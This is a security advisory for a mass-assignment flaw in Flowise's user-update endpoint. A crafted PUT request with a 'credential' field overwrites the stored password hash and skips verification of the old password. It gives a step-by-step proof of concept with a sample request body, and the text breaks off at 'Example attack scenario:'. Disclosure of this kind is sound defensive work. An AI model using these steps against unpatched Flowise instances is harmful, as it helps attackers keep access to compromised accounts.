Flowise: Mass Assignment in PUT /api/v1/user Allows Authenticated Users to Override Password Hash and Bypass Password Change Verification
GHSA-59fh-9f3p-7m39 · CVE-2026-56276 · 갱신 2026. 7. 8.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | flowise | 3.1.2 |
GHSA-59fh-9f3p-7m39 · CVE-2026-56276 · 갱신 2026. 7. 8.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | flowise | 3.1.2 |
The service implements a secure password change workflow that requires the following fields:
oldPassword
newPassword
confirmPassword
Example code:
if (newUserData.oldPassword && newUserData.newPassword && newUserData.confirmPassword) {
if (!compareHash(newUserData.oldPassword, oldUserData.credential)) {
throw new InternalFlowiseError(StatusCodes.BAD_REQUEST)
}
newUserData.credential = this.encryptUserCredential(newUserData.newPassword)
}
However, this logic can be bypassed by directly supplying a credential value in the request body.
Because the merge operation applies all fields from newUserData, the supplied credential hash will overwrite the stored password hash.
Step 1 - Authenticate
Login as any normal user and obtain a valid JWT token.
POST /api/v1/auth/login
Step 2 - Generate a password hash
Generate a bcrypt hash for a password you control.
Example:
bcrypt("attacker_password")
Example hash:
$2b$10$abc123examplehashvalue...
Step 3 - Send crafted update request
PUT /api/v1/user
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
{
"id": "<your-user-id>",
"credential": "$2b$10$abc123examplehashvalue..."
}
Step 4 - Login with attacker password
The password hash in the database is replaced by the supplied value.
The attacker can now authenticate using:
attacker_password
without ever providing the previous password.
This vulnerability allows authenticated users to bypass the password change security controls.
Security protections that are bypassed include:
current password verification
password hashing enforcement
password policy validation
session invalidation on password change
Although the controller prevents modification of other users' accounts, the vulnerability enables persistence after account compromise.
Example attack scenario: